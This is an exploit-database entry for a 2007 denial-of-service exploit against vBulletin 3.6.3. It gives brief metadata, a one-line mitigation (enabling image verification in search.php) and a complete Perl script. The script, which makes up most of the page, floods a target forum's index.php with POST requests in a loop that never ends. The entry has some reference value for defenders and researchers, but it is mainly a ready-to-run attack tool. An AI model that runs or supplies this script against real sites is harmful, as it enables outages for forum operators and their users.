VBulletin Denail of Service Exploit by 4.!.5

vendor:

VBulletin

by:

4.!.5

7.5

CVSS

HIGH

Denial of Service

N/A

CWE

Product Name: VBulletin

Affected Version From: V3.6.3

Affected Version To: V3.6.3

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2007

VBulletin Denail of Service Exploit by 4.!.5

This exploit is used to cause a denial of service attack on VBulletin. It tested on V3.6.3 and requires Image Verification in (search.php) to be disabled. The exploit is a Perl Script which uses Socket to send a POST request to the host and directory specified in the arguments.

Mitigation:

Enabling Image Verification in (search.php) can prevent this exploit.

Source

Exploit-DB raw data:

#!/c:/perl/bin
#

# VBulletin Denail of Service Exploit by 4.!.5
#
# created : !N 7h3 DARKNESS
# CODED BY: R3d-D3V!L
#
# important => Image Verification in (search.php) is NOT Enabled.
# It tested on V3.6.3
#
#Perl Script
use Socket;
if (@ARGV < 2) { &usage }
$rand=rand(10);
$host = $ARGV[0];
$dir = $ARGV[1];
$host =~ s/(http:\/\/)//eg;
for ($i=0; $i<10; $i--)
{
$user="vb".$rand.$i;
$data = "s="
;
$len = length $data;
$foo = "POST ".$dir."index.php HTTP/1.1\r\n".
"Accept: */*\r\n".
"Accept-Language: en-gb\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".
"Host: $host\r\n".
"Content-Length: $len\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n\r\n".
"$data";
my $port = "80";
my $proto = getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;
send(SOCKET,"$foo", 0);
syswrite STDOUT, "+" ;
}
print "\n\n";
system('ping $host');
sub usage {
print "\tusage: \n";
print "\t$0 <host> </dir/>\n";
print "\tex: $0 127.0.0.1 /forum/\n";
print "\tex2: $0 127.0.0.1 /\n\n";
exit();
};
# Exploit By 4.!.5...




######################################################


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